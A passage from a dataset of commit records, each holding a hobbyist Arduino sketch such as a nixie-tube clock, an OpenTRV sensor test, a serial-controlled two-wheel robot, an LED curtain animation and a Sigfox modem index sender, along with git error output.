OUTPUT);\n\n\tpinMode(hLatchPin, OUTPUT);\n\tpinMode(hDataPin, OUTPUT);\n\tpinMode(hClockPin, OUTPUT);\n}\n\n\/\/add either hour, minute or second\n\/\/and call ShowClock to refresh nixies\nvoid clock(qboolean hAdd, qboolean mAdd, qboolean sAdd)\n{\n\tif(hAdd == qtrue)\n\t\th = h + 1;\n\tif(mAdd == qtrue)\n\t\tm = m + 1;\n\tif(sAdd == qtrue)\n\t\ts = s + 1;\n\n\tif(s>59){m = m + 1;s = 0;}\n\tif(m>59){h = h + 1;m = 0;}\n\tif(h>12){h = 1;m = 0;s = 0;}\n\n\tShowClock();\n}\n\n\/\/display to nixies \nvoid ShowClock()\n{\n\t\/\/each shift register controls two nixies\n\t\/\/split the value into two , then shift bits\n\t\/\/of first digit and sum then update shifts\n\tsLed = (s % 10) + ((s \/ 10) << 4);\n\tmLed = (m % 10) + ((m \/ 10) << 4);\n\thLed = (h % 10) + ((h \/ 10) << 4);\n\n UpdateShiftRegister();\n}\n\nvoid loop()\n{\n \/\/ Get snapshot of time\n unsigned long currentMillis = millis();\n \n hButtonState = digitalRead(hButtonPin);\/\/pin 3\n mButtonState = digitalRead(mButtonPin);\/\/pin 13\n \/\/flag for only processing one time when pressed\n if(!hFlag && hButtonState == LOW)\n hFlag = qtrue;\n if(!mFlag && mButtonState == LOW)\n mFlag = qtrue;\n\t\/\/Note: They will be high and low randomly if not connected!\n\t\n\t\/\/if hour button was pushed add hour\n if (hButtonState == HIGH && hFlag)\n {\n \/\/add hour\n hFlag = qfalse;\n clock(qtrue, qfalse, qfalse);\n }\n \/\/if minute button was pushed\n if (mButtonState == HIGH && mFlag)\n {\n \/\/add minute \n mFlag = qfalse;\n clock(qfalse, qtrue, qfalse);\n }\n\n \/\/handle reset to 0 when max unsigned long is reached (after 49 days)\n if(((unsigned long)(currentMillis - previousMillis) >= interval) || \n\t((currentMillis < previousMillis) && ((unsigned long)(MAX - (previousMillis-1) + currentMillis) >= interval)))\n {\n \/\/ It's time to do something!\n clock(qfalse, qfalse, qtrue);\n previousMillis = currentMillis;\n } \n}\n\/\/shift out\nvoid UpdateShiftRegister()\n{\n digitalWrite(sLatchPin, LOW);\n shiftOut(sDataPin, sClockPin, LSBFIRST, sLed);\n digitalWrite(sLatchPin, HIGH);\n\n digitalWrite(mLatchPin, LOW);\n shiftOut(mDataPin, mClockPin, LSBFIRST, mLed);\n digitalWrite(mLatchPin, HIGH);\n\n digitalWrite(hLatchPin, LOW);\n shiftOut(hDataPin, hClockPin, LSBFIRST, hLed);\n digitalWrite(hLatchPin, HIGH);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Cock_Sketch.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"ee00757a643163400ffd7c6417f989e33b795cc1","subject":"Added constantly updating test for sensors","message":"Added constantly updating test for sensors","repos":"opentrv\/OpenTRV-TRV2","old_file":"testsuite\/REV20Sensors\/REV20Sensors.ino","new_file":"testsuite\/REV20Sensors\/REV20Sensors.ino","new_contents":"\/*\nThe OpenTRV project licenses this file to you\nunder the Apache Licence, Version 2.0 (the \"Licence\");\nyou may not use this file except in compliance\nwith the Licence. You may obtain a copy of the Licence at\n\nhttp:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the Licence is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied. See the Licence for the\nspecific language governing permissions and limitations\nunder the Licence.\n\nAuthor(s) \/ Copyright (s): Deniz Erbilgin 2016\n*\/\n\/**\n * Minimal REV7 config for testing power consumption.\n * Aim is to:\n * - todo init GPIO pins to safe mode.\n * - todo init peripherals to safe low power mode.\n * - loop endlessly.\n *\/\n\n\/\/ INCLUDES & DEFINES\n\/\/ Debug output flag\n#define DEBUG\n\/\/ REV7 \/ DORM1 all-in-one valve unit, secure TX.\n#define CONFIG_TRV20_PROTO\n\/\/ Get defaults for valve applications.\n#include <OTV0p2_valve_ENABLE_defaults.h>\n\/\/ All-in-one valve unit (DORM1).\n#include <OTV0p2_CONFIG_REV20.h>\n\/\/ I\/O pin allocation and setup: include ahead of I\/O module headers.\n#include <OTV0p2_Board_IO_Config.h>\n\/\/ OTV0p2Base Libraries\n#include <OTV0p2Base.h>\n\/\/ RadValve libraries\n#include <OTRadValve.h>\n\n\n\/\/ Debugging output\n#ifndef DEBUG\n#define DEBUG_SERIAL_PRINT(s) \/\/ Do nothing.\n#define DEBUG_SERIAL_PRINTFMT(s, format) \/\/ Do nothing.\n#define DEBUG_SERIAL_PRINT_FLASHSTRING(fs) \/\/ Do nothing.\n#define DEBUG_SERIAL_PRINTLN_FLASHSTRING(fs) \/\/ Do nothing.\n#define DEBUG_SERIAL_PRINTLN() \/\/ Do nothing.\n#define DEBUG_SERIAL_TIMESTAMP() \/\/ Do nothing.\n#else\n\/\/ Send simple string or numeric to serial port and wait for it to have been sent.\n\/\/ Make sure that Serial.begin() has been invoked, etc.\n#define DEBUG_SERIAL_PRINT(s) { OTV0P2BASE::serialPrintAndFlush(s); }\n#define DEBUG_SERIAL_PRINTFMT(s, fmt) { OTV0P2BASE::serialPrintAndFlush((s), (fmt)); }\n#define DEBUG_SERIAL_PRINT_FLASHSTRING(fs) { OTV0P2BASE::serialPrintAndFlush(F(fs)); }\n#define DEBUG_SERIAL_PRINTLN_FLASHSTRING(fs) { OTV0P2BASE::serialPrintlnAndFlush(F(fs)); }\n#define DEBUG_SERIAL_PRINTLN() { OTV0P2BASE::serialPrintlnAndFlush(); }\n\/\/ Print timestamp with no newline in format: MinutesSinceMidnight:Seconds:SubCycleTime\nextern void _debug_serial_timestamp();\n#define DEBUG_SERIAL_TIMESTAMP() _debug_serial_timestamp()\n#endif \/\/ DEBUG\n\n\/\/ OBJECTS & VARIABLES\n\/**\n * Peripherals present on REV7\n * - Pot Set input to Hi-Z?\n * - PHT IO_POWER_UP LOW\n * - Encoder IO_POWER_UP LOW\n * - LED Set pin HIGH?\n * - Button Set to INPUT\n * - H-Bridge Control pins HIGH, Current sense set to input.\n * - TMP112 read() once.\n * - XTAL Setup and leave running?\n * - UART Disable\n *\/\n\n\/**\n * Dummy Types\n *\/\n\/\/ Placeholder class with dummy static status methods to reduce code complexity.\ntypedef OTV0P2BASE::DummySensorOccupancyTracker OccupancyTracker;\n\n\/**\n * Supply Voltage instance\n *\/\n\/\/ Sensor for supply (eg battery) voltage in millivolts.\n\/\/ Singleton implementation\/instance.\nOTV0P2BASE::SupplyVoltageCentiVolts Supply_cV;\n\n\/*\n * TMP112 instance\n *\/\nOTV0P2BASE::RoomTemperatureC16_TMP112 TemperatureC16;\n\n\/*\n * SHT21 instance XXX Disabled\n *\/\n\/\/OTV0P2BASE::RoomTemperatureC16_SHT21 TemperatureC16; \/\/ SHT21 impl.\n\n\/\/ HUMIDITY_SENSOR_SUPPORT is defined if at least one humidity sensor has support compiled in.\n\/\/ Simple implementations can assume that the sensor will be present if defined;\n\/\/ more sophisticated implementations may wish to make run-time checks.\n\/\/ If SHT21 support is enabled at compile-time then its humidity sensor may be used at run-time.\n\/\/\/\/ Singleton implementation\/instance.\n\/\/typedef OTV0P2BASE::HumiditySensorSHT21 RelHumidity_t;\n\/\/RelHumidity_t RelHumidity;\n\n\/**\n * Temp pot\n *\/\n\/\/ Sensor for temperature potentiometer\/dial UI control.\n\/\/ Correct for DORM1\/TRV1 with embedded REV7.\n\/\/ REV7 does not drive pot from IO_POWER_UP.\ntypedef OTV0P2BASE::SensorTemperaturePot<OccupancyTracker, nullptr, 48, 296, false> TempPot_t;\nTempPot_t TempPot;\n\n\/**\n * Ambient Light Sensor\n *\/\ntypedef OTV0P2BASE::SensorAmbientLight AmbientLight;\n\/\/ Singleton implementation\/instance.\nAmbientLight AmbLight;\n\n\/**\n * Valve Actuator\n *\/\n\/\/ DORM1\/REV7 direct drive motor actuator.\nstatic constexpr bool binaryOnlyValveControl = false;\nstatic constexpr uint8_t m1 = MOTOR_DRIVE_ML;\nstatic constexpr uint8_t m2 = MOTOR_DRIVE_MR;\ntypedef OTRadValve::ValveMotorDirectV1<m1, m2, MOTOR_DRIVE_MI_AIN, MOTOR_DRIVE_MC_AIN, decltype(Supply_cV), &Supply_cV, binaryOnlyValveControl> ValveDirect_t;\n\/\/ Singleton implementation\/instance.\n\/\/ Suppress unnecessary activity when room dark, eg to avoid disturbance if device crashes\/restarts,\n\/\/ unless recent UI use because value is being fitted\/adjusted.\nValveDirect_t ValveDirect([](){return(AmbLight.isRoomDark());});\n\n\/\/ FUNCTIONS\n\n\/**\n * Panic Functions\n *\/\n\/\/ Indicate that the system is broken in an obvious way (distress flashing the main LED).\n\/\/ DOES NOT RETURN.\n\/\/ Tries to turn off most stuff safely that will benefit from doing so, but nothing too complex.\n\/\/ Tries not to use lots of energy so as to keep distress beacon running for a while.\nvoid panic()\n{\n \/\/ Reset radio and go into low-power mode.\n\/\/ PrimaryRadio.panicShutdown();\n \/\/ Power down almost everything else...\n OTV0P2BASE::minimisePowerWithoutSleep();\n pinMode(OTV0P2BASE::LED_HEATCALL_L, OUTPUT);\n for( ; ; )\n {\n OTV0P2BASE::LED_HEATCALL_ON();\n OTV0P2BASE::nap(WDTO_15MS);\n OTV0P2BASE::LED_HEATCALL_OFF();\n OTV0P2BASE::nap(WDTO_120MS);\n }\n}\n\/\/ Panic with fixed message.\nvoid panic(const __FlashStringHelper *s)\n{\n OTV0P2BASE::serialPrintlnAndFlush(); \/\/ Start new line to highlight error. \/\/ May fail.\n OTV0P2BASE::serialPrintAndFlush('!'); \/\/ Indicate error with leading '!' \/\/ May fail.\n OTV0P2BASE::serialPrintlnAndFlush(s); \/\/ Print supplied detail text. \/\/ May fail.\n panic();\n}\n\n\n\/**\n * @brief Set pins and on-board peripherals to safe low power state.\n *\/\n\n\n\/\/========================================\n\/\/ SETUP\n\/\/========================================\n\n\/\/ Setup routine: runs once after reset.\n\/\/ Does some limited board self-test and will panic() if anything is obviously broken.\nvoid setup()\n{\n \/\/ Set appropriate low-power states, interrupts, etc, ASAP.\n OTV0P2BASE::powerSetup();\n \/\/ IO setup for safety, and to avoid pins floating.\n OTV0P2BASE::IOSetup();\n\n OTV0P2BASE::serialPrintAndFlush(F(\"\\r\\nOpenTRV: \")); \/\/ Leading CRLF to clear leading junk, eg from bootloader.\n V0p2Base_serialPrintlnBuildVersion();\n\n OTV0P2BASE::LED_HEATCALL_ON();\n\n \/\/ Give plenty of time for the XTal to settle.\n delay(1000);\n\n \/\/ Have 32678Hz clock at least running before going any further.\n \/\/ Check that the slow clock is running reasonably OK, and tune the fast one to it.\n if(!::OTV0P2BASE::HWTEST::calibrateInternalOscWithExtOsc()) { panic(F(\"Xtal\")); } \/\/ Async clock not running or can't tune.\n\/\/ if(!::OTV0P2BASE::HWTEST::check32768HzOsc()) { panic(F(\"xtal\")); } \/\/ Async clock not running correctly.\n\n \/\/ Buttons should not be activated DURING boot for user-facing boards; an activated button implies a fault.\n \/\/ Check buttons not stuck in the activated position.\n if(fastDigitalRead(BUTTON_MODE_L) == LOW) { panic(F(\"b\")); }\n\n \/\/ Collect full set of environmental values before entering loop() in normal mode.\n \/\/ This should also help ensure that sensors are properly initialised.\n\n \/\/ No external sensors are *assumed* present if running alt main loop\n \/\/ This may mean that the alt loop\/POST will have to initialise them explicitly,\n \/\/ and the initial seed entropy may be marginally reduced also.\n const int cV = Supply_cV.read();\n DEBUG_SERIAL_PRINT_FLASHSTRING(\"V: \");\n DEBUG_SERIAL_PRINT(cV);\n DEBUG_SERIAL_PRINTLN();\n const int heat = TemperatureC16.read();\n DEBUG_SERIAL_PRINT_FLASHSTRING(\"T: \");\n DEBUG_SERIAL_PRINT(heat);\n DEBUG_SERIAL_PRINTLN();\n\/\/ SHT21 not present by default.\n\/\/ const uint8_t rh = RelHumidity.read();\n\/\/ DEBUG_SERIAL_PRINT_FLASHSTRING(\"RH%: \");\n\/\/ DEBUG_SERIAL_PRINT(rh);\n\/\/ DEBUG_SERIAL_PRINTLN();\n const int light = AmbLight.read();\n DEBUG_SERIAL_PRINT_FLASHSTRING(\"L: \");\n DEBUG_SERIAL_PRINT(light);\n DEBUG_SERIAL_PRINTLN();\n const int tempPot = TempPot.read();\n DEBUG_SERIAL_PRINT_FLASHSTRING(\"temp pot: \");\n DEBUG_SERIAL_PRINT(tempPot);\n DEBUG_SERIAL_PRINTLN();\n\n ValveDirect.read();\n\n \/\/ Initialised: turn main\/heatcall UI LED off.\n OTV0P2BASE::LED_HEATCALL_OFF();\n\n \/\/ Do OpenTRV-specific (late) setup.\n}\n\n\n\/\/========================================\n\/\/ MAIN LOOP\n\/\/========================================\n\/**\n * @brief Sleep in low power mode if not sleeping.\n *\/\nvoid loop()\n{\n \/\/ Ensure that serial I\/O is off while sleeping.\n OTV0P2BASE::powerDownSerial();\n \/\/ Power down most stuff (except radio for hub RX).\n OTV0P2BASE::minimisePowerWithoutSleep();\n\n delay(1000);\n const int cV = Supply_cV.read();\n DEBUG_SERIAL_PRINT_FLASHSTRING(\"V: \");\n DEBUG_SERIAL_PRINT(cV);\n DEBUG_SERIAL_PRINTLN();\n const int heat = TemperatureC16.read();\n DEBUG_SERIAL_PRINT_FLASHSTRING(\"T: \");\n DEBUG_SERIAL_PRINT(heat);\n DEBUG_SERIAL_PRINTLN();\n\/\/ SHT21 not present by default.\n\/\/ const uint8_t rh = RelHumidity.read();\n\/\/ DEBUG_SERIAL_PRINT_FLASHSTRING(\"RH%: \");\n\/\/ DEBUG_SERIAL_PRINT(rh);\n\/\/ DEBUG_SERIAL_PRINTLN();\n const int light = AmbLight.read();\n DEBUG_SERIAL_PRINT_FLASHSTRING(\"L: \");\n DEBUG_SERIAL_PRINT(light);\n DEBUG_SERIAL_PRINTLN();\n const int tempPot = TempPot.read();\n DEBUG_SERIAL_PRINT_FLASHSTRING(\"temp pot: \");\n DEBUG_SERIAL_PRINT(tempPot);\n DEBUG_SERIAL_PRINTLN();\n}\n\n\n\n\/**\n * @note Power consumption figures (all in mA).\n * Date\/commit: Device: Wake (Sleep) @ Voltage\n * 20161111\/0e6ec96 REV7: 1.5 (1.1) @ 2.5 V REV11: 0.45 (0.03) @ 2.5 V\n * 20161111\/f2eed5e REV7: 0.46 (0.04) @ 2.5 V\n *\/\n \n","old_contents":"","returncode":1,"stderr":"error: pathspec 'testsuite\/REV20Sensors\/REV20Sensors.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"d478a49eb3e666383ffb6c28a636939a52dc3a50","subject":"Cleanup","message":"Cleanup","repos":"lgramatikov\/celeste","old_file":"WarningBulb.ino","new_file":"WarningBulb.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/lgramatikov\/celeste.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"633005985e01678c4bef6c671f78d197613ccc35","subject":"Add arduino sketch","message":"Add arduino sketch\n","repos":"junpeitsuji\/leap_arduino","old_file":"arduino\/leap_arduino_sketch\/leap_arduino_sketch.ino","new_file":"arduino\/leap_arduino_sketch\/leap_arduino_sketch.ino","new_contents":"\/\/ oc_sample_5.ino\n\/\/ \u4e21\u5074\u306b\u53d6\u308a\u4ed8\u3051\u305f\u8d64\u5916\u7dda\u6e2c\u8ddd\u30bb\u30f3\u30b5\u30fc\u306b\u53cd\u5fdc\u3057\u3066\u884c\u52d5\u3059\u308b\u4e8c\u8f2a\u30ed\u30dc\u30c3\u30c8\u306e\u30d7\u30ed\u30b0\u30e9\u30e0\n\nint pwm_a = 3; \/\/PWM control for motor outputs 1 and 2 is on digital pin 3\nint pwm_b = 11; \/\/PWM control for motor outputs 3 and 4 is on digital pin 11\nint dir_a = 12; \/\/direction control for motor outputs 1 and 2 is on digital pin 12\nint dir_b = 13; \/\/direction control for motor outputs 3 and 4 is on digital pin 13\n\nvoid setup()\n{\n Serial.begin(115200);\n \n pinMode(pwm_a, OUTPUT); \/\/Set control pins to be outputs\n pinMode(pwm_b, OUTPUT);\n pinMode(dir_a, OUTPUT);\n pinMode(dir_b, OUTPUT);\n \n}\n\nvoid loop()\n{ \n \/\/\/*\n char c = 0;\n if (Serial.available()) {\n c = Serial.read();\n } \n \/\/ \u30b7\u30ea\u30a2\u30eb\u304b\u3089\u306e\u30c7\u30fc\u30bf\u53d7\u4fe1\n if( c == '0' ){\n stopped();\n }\n else if( c == '5' ){\n goForward(255);\n }\n else if( c == '2' ){\n goBackward(255);\n }\n else if( c == '6' ){\n turnRight(128);\n }\n else if( c == '7' ){\n turnLeft(128);\n }\n \/\/*\/\n \/\/goForward(255);\n \/\/Serial.println(aa);\n \n \/\/ 100\u30df\u30ea\u79d2\u505c\u6b62\n delay(100);\n}\n\n\n\/\/ \u5f15\u6570\u3067\u6307\u5b9a\u3057\u305fpin\u306b\u63a5\u7d9a\u3055\u308c\u305f\u8d64\u5916\u7dda\u6e2c\u8ddd\u30bb\u30f3\u30b5\u30fc\u306e\u8ddd\u96e2\u5024\u3092\u53d6\u5f97\u3059\u308b\u95a2\u6570\n\/\/ cm\u5358\u4f4d\u306e\u8ddd\u96e2\u3092\u6574\u6570\u5024\u3067\u8fd4\u3059\u3002\u7bc4\u56f2\u5916\uff0810cm\u672a\u6e80\u3001\u53c8\u306f80cm\u3088\u308a\u5927\u304d\u3044\uff09\u306e\u5834\u5408\u306f0\u3092\u8fd4\u3059\u3002\nint getRange(int pin) {\n\n\/\/ \u5f15\u6570\u3067\u6307\u5b9a\u3055\u308c\u305fpin\u306e\u96fb\u5727\u5024\u30920\u304b\u30891023\u306e\u5024\u3067\u53d6\u5f97\u3059\u308b\n int voltage = analogRead(pin);\n\n \/\/ \u53d6\u5f97\u3057\u305f\u96fb\u5727\u5024\u3092\u8ddd\u96e2\uff08cm\uff09\u306b\u5909\u63db\n int range = ((6787 \/ (voltage - 3)) - 4);\n \n if( range >= 10 && range <= 80 ){\n return range;\n }\n else {\n return 0;\n }\n}\n\nvoid goForward(int speed) \/\/ forward\n{ \n digitalWrite(dir_a, HIGH); \/\/Reverse motor direction, 1 high, 2 low\n digitalWrite(dir_b, HIGH); \/\/Reverse motor direction, 3 low, 4 high \n analogWrite(pwm_a, speed); \/\/set both motors to run at (100\/255 = 39)% duty cycle\n analogWrite(pwm_b, speed);\n}\n\nvoid goBackward(int speed) \/\/ backward\n{\n digitalWrite(dir_a, LOW); \/\/Set motor direction, 1 low, 2 high\n digitalWrite(dir_b, LOW); \/\/Set motor direction, 3 high, 4 low\n analogWrite(pwm_a, speed); \/\/set both motors to run at 100% duty cycle (fast)\n analogWrite(pwm_b, speed);\n}\n\nvoid stopped() \/\/stop\n{ \n digitalWrite(dir_a, LOW); \/\/Set motor direction, 1 low, 2 high\n digitalWrite(dir_b, LOW); \/\/Set motor direction, 3 high, 4 low\n analogWrite(pwm_a, 0); \/\/set both motors to run at 100% duty cycle (fast)\n analogWrite(pwm_b, 0); \n}\n\nvoid turnLeft(int speed) \/\/ turn left\n{\n digitalWrite(dir_a, HIGH); \/\/Reverse motor direction, 1 high, 2 low\n digitalWrite(dir_b, LOW); \/\/Reverse motor direction, 3 low, 4 high \n analogWrite(pwm_a, speed); \/\/set both motors to run at (100\/255 = 39)% duty cycle\n analogWrite(pwm_b, speed); \n}\n\nvoid turnRight(int speed) \/\/ turn right\n{\n digitalWrite(dir_a, LOW); \/\/Reverse motor direction, 1 high, 2 low\n digitalWrite(dir_b, HIGH); \/\/Reverse motor direction, 3 low, 4 high \n analogWrite(pwm_a, speed); \/\/set both motors to run at (100\/255 = 39)% duty cycle\n analogWrite(pwm_b, speed); \n}\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/leap_arduino_sketch\/leap_arduino_sketch.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4b04e01c2f66ec8d0cbb513f98db58e889c88ddb","subject":"Triangles and curtains, annnnd two.. two brothers","message":"Triangles and curtains, annnnd two.. two brothers\n","repos":"nijotz\/pixl","old_file":"examples\/cymatic-curtains-with-triangles\/cymatic-curtains-with-triangles.ino","new_file":"examples\/cymatic-curtains-with-triangles\/cymatic-curtains-with-triangles.ino","new_contents":"#include \"pixelmap\/pixelmap.h\"\n#include <FastLED.h>\n#include <Logging.h>\n\n\/\/ Weird thing I had to do to get the Logging library working with teensy\nextern \"C\"{\n int _getpid(){ return -1;}\n int _kill(int pid, int sig){ return -1; }\n int _write(){return -1;}\n}\n\n#define LOGLEVEL LOG_LEVEL_INFOS\n\nusing namespace pixelmap;\n\nInput* input;\n\nLEDStrip strip1 = LEDStrip(150);\nLEDStrip strip2 = LEDStrip(150);\nLEDStrip strip3 = LEDStrip(150);\nLEDStrip strip4 = LEDStrip(150);\nLEDStrip strip5 = LEDStrip(57);\n\nLEDs leds1 = LEDs(&strip1, 0, 150);\nLEDs leds2 = LEDs(&strip2, 0, 150);\nLEDs leds3 = LEDs(&strip3, 0, 150);\nLEDs leds4 = LEDs(&strip4, 0, 150);\nLEDs leds5 = LEDs(&strip5, 0, 57);\n\nVisualization* viz;\nCurtainAnimation* anim1;\nCurtainAnimation* anim2;\nCurtainAnimation* anim3;\nCurtainAnimation* anim4;\nTriangleAnimation* anim5;\n\nvoid setup() {\n Log.Init(LOGLEVEL, 9600);\n delay(1000);\n Log.Info(\"Starting setup()\\n\");\n Serial.flush();\n delay(1000);\n\n \/\/input = new WaveInput();\n input = new MSGEQ7Input(\n 1, \/\/ left pin\n 0, \/\/ right pin\n 12, \/\/ strobe pin\n 13, \/\/ reset pin,\n 1000, \/\/ max amplitude\n 250 \/\/ min amplutide\n );\n\n viz = new RippleVisualization(input, 75, 1);\n\n anim1 = new CurtainAnimation(viz, leds1);\n anim2 = new CurtainAnimation(viz, leds2);\n anim3 = new CurtainAnimation(viz, leds3);\n anim4 = new CurtainAnimation(viz, leds4);\n anim5 = new TriangleAnimation(viz, leds5);\n\n \/\/ Far right curtain\n anim1->init(\n 25, \/\/ height in pixels\n 6, \/\/ width in pixels\n 1.0, \/\/ height in ratio of visualiation\n 0.25, \/\/ width in ratio of visualiation\n 0.0, \/\/ rotation in radians\n 0.45, \/\/ x distance from visualization start in ratio of visualization\n -0.7, \/\/ y \"\n 0.0); \/\/ z \"\n\n \/\/ Middle right curtain\n anim2->init(\n 25, \/\/ height in pixels\n 6, \/\/ width in pixels\n 1.0, \/\/ height in ratio of visualiation\n 0.25, \/\/ width in ratio of visualiation\n 0.0, \/\/ rotation in radians\n 0.13, \/\/ x distance from visualization start in ratio of visualization\n -0.5, \/\/ y \"\n 0.0); \/\/ z \"\n\n \/\/ Middle left curtain\n anim3->init(\n 25, \/\/ height in pixels\n 6, \/\/ width in pixels\n 1.0, \/\/ height in ratio of visualiation\n 0.25, \/\/ width in ratio of visualiation\n 0.0, \/\/ rotation in radians\n -0.38, \/\/ x distance from visualization start in ratio of visualization\n -0.5, \/\/ y \"\n 0.0); \/\/ z \"\n\n \/\/ Far left curtain\n anim4->init(\n 25, \/\/ height in pixels\n 6, \/\/ width in pixels\n 1.0, \/\/ height in ratio of visualiation\n 0.25, \/\/ width in ratio of visualiation\n 0.0, \/\/ rotation in radians\n -0.7, \/\/ x distance from visualization start in ratio of visualization\n -0.7, \/\/ y \"\n 0.0); \/\/ z \"\n\n anim5->init(1.0);\n\n FastLED.addLeds<WS2811, 6, RGB>(strip1.leds, 150);\n FastLED.addLeds<WS2811, 7, RGB>(strip2.leds, 150);\n FastLED.addLeds<WS2811, 8, RGB>(strip3.leds, 150);\n FastLED.addLeds<WS2811, 9, RGB>(strip4.leds, 150);\n FastLED.addLeds<WS2811, 10, GRB>(strip5.leds, 57);\n\n Looper* looper = Looper::instance();\n looper->addInput(input);\n looper->addVisualization(viz);\n looper->addAnimation(anim1);\n looper->addAnimation(anim2);\n looper->addAnimation(anim3);\n looper->addAnimation(anim4);\n looper->addAnimation(anim5);\n\n Log.Info(\"Finished setup()\\n\");\n delay(100);\n}\n\nvoid loop() {\n Looper::instance()->loop();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/cymatic-curtains-with-triangles\/cymatic-curtains-with-triangles.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"6020bd903fcdc0b28b21fdd5849d1be18adc0b2d","subject":"add akene_index","message":"add akene_index\n","repos":"sourceperl\/arduino.akeru","old_file":"akene_index\/akene_index.ino","new_file":"akene_index\/akene_index.ino","new_contents":"\/*\n Sigfox index sender (network and board test)\n \n Note :\n With card(s) : 1. Olimexino-328 (Arduino IDE set on \"Duemilanove\" with ATMega328)\n https:\/\/www.olimex.com\/Products\/Duino\/AVR\/OLIMEXINO-328\/\n 2. Akene V1 (Sigfox UNB modem TD1208)\n http:\/\/snootlab.com\/lang-en\/snootlab-shields\/889-akene-v1-en.html\n License : MIT\n \n*\/\n\n\/* library *\/\n\/\/ Arduino core\n#include <SoftwareSerial.h>\n\/\/ AVR low-power library (see https:\/\/github.com\/rocketscream\/Low-Power)\n#include \"LowPower.h\"\n\n\/\/ some const\n#define TEST_LED 13\n\n\/\/ some types\nunion payload_t \n{\n struct\n {\n uint32_t index;\n };\n uint8_t byte[12];\n};\n\n\/\/ some prototypes\nvoid sig_send_index(uint32_t index);\nuint32_t bswap_32 (uint32_t x);\nuint16_t bswap_16(uint16_t x);\n\n\/\/ some vars\n\/\/ Akene UNB modem : S_RX is D5, S_TX is D4\nSoftwareSerial modem(4,5); \/\/uC Rx D4, Tx D5\nuint32_t tick_8s = 0;\nuint32_t index = 0;\nbool debug_mode = 0;\n\n\/\/ link stdout (printf) to Serial object\n\/\/ create a FILE structure to reference our UART\nstatic FILE console_out = {0};\n\/\/ create a FILE structure to reference our UNB modem\nstatic FILE modem_out = {0};\n\n\/\/ create serial outputs functions\n\/\/ This works because Serial.write, although of\n\/\/ type virtual, already exists.\nstatic int console_putchar (char c, FILE *stream)\n{\n Serial.write(c);\n return 0;\n}\n\nstatic int modem_putchar (char c, FILE *stream)\n{\n modem.write(c);\n return 0;\n}\n\nvoid setup()\n{\n \/\/ IO setup\n pinMode(TEST_LED, OUTPUT);\n \/\/ test led on\n digitalWrite(TEST_LED, HIGH);\n \/\/ open serial communications, link Serial to stdio lib\n Serial.begin(9600);\n \/\/ set the data rate for the SoftwareSerial port\n modem.begin(9600);\n \/\/modem.setTimeout(5000);\n \/\/ fill in the UART file descriptor with pointer to writer\n fdev_setup_stream(&console_out, console_putchar, NULL, _FDEV_SETUP_WRITE);\n fdev_setup_stream(&modem_out, modem_putchar, NULL, _FDEV_SETUP_WRITE);\n \/\/ standard output device STDOUT is console\n stdout = &console_out;\n \/\/ fill in the UART file descriptor with pointer to writer\n fdev_setup_stream(&console_out, console_putchar, NULL, _FDEV_SETUP_WRITE);\n fdev_setup_stream(&modem_out, modem_putchar, NULL, _FDEV_SETUP_WRITE);\n \/\/ standard output device STDOUT is console\n stdout = &console_out;\n \/\/ UNB modem boot time \n fprintf_P(&console_out, PSTR(\"system startup\\r\\n\"));\n fprintf_P(&console_out, PSTR(\"wait 3s for UNB modem boot time...\\r\\n\"));\n delay(3000);\n \/\/ test led off\n digitalWrite(TEST_LED, LOW);\n \/\/ set reroute (console <-> UNB modem) ?\n fprintf_P(&console_out, PSTR(\"PRESS \\\"r\\\" key to reroute to UNB modem\\r\\n\"));\n fprintf_P(&console_out, PSTR(\"PRESS \\\"d\\\" key to set debug mode\\r\\n\"));\n fprintf_P(&console_out, PSTR(\"wait 4s...\\r\\n\"));\n uint8_t k_loop = 0;\n char key;\n while (k_loop++ < 4)\n {\n delay(1000);\n key = Serial.read();\n if (key != -1) break;\n }\n \/\/ check user choice : debug\n if (key == 'd')\n {\n debug_mode = 1;\n fprintf_P(&console_out, PSTR(\"debug mode on\\r\\n\"));\n }\n \/\/ check user choice : reroute\n else if (key == 'r') \n {\n \/\/ debug mode : reroute console to UNB modem\n fprintf_P(&console_out, PSTR(\"reroute to UNB modem (reset board to exit this mode)\\r\\n\"));\n while (1) \n {\n \/\/ read from port 0, send to port 1:\n while (Serial.available()) \n modem.write(Serial.read());\n \/\/ read from port 1, send to port 0:\n while (modem.available()) \n Serial.write(modem.read());\n }\n } else {\n \/\/ startup message\n fprintf_P(&console_out, PSTR(\"system ready\\r\\n\"));\n }\n}\n\nvoid loop() {\n \/\/ vars\n char inChar = ' ';\n \/\/ update tick\n tick_8s++;\n \/\/ send Sigfox frame\n \/\/ send index: every 15 mins\n if (tick_8s % 112 == 0)\n sig_send_index(index++);\n \/\/ debug mode\n if (debug_mode) {\n fprintf_P(&console_out, PSTR(\"tick_8s=%d\\r\\n\"), tick_8s);\n \/\/ arduino printf don't include \"%f\" for printf\n Serial.print(\"Index: \");\n Serial.println(index);\n }\n \/\/ ensure outgoing serial data is complete before sleep\n Serial.flush();\n modem.flush();\n \/\/ enter power down state for 8 s with ADC and BOD module disabled\n LowPower.powerDown(SLEEP_8S, ADC_OFF, BOD_OFF);\n}\n\nvoid sig_send_index(uint32_t index) {\n payload_t frame;\n char buffer[30];\n \/\/ init var\n memset(&frame, 0, sizeof(frame));\n \/\/ set frame field\n frame.index = index;\n \/\/ format hex string (ex : 0101fe5ec8990000...)\n strcpy_P(buffer, PSTR(\"\"));\n uint8_t i = 0;\n char digits[3];\n do\n { \n sprintf(digits, \"%02x\", frame.byte[i]);\n strcat(buffer, digits);\n } while(++i < sizeof(frame)); \n \/\/ 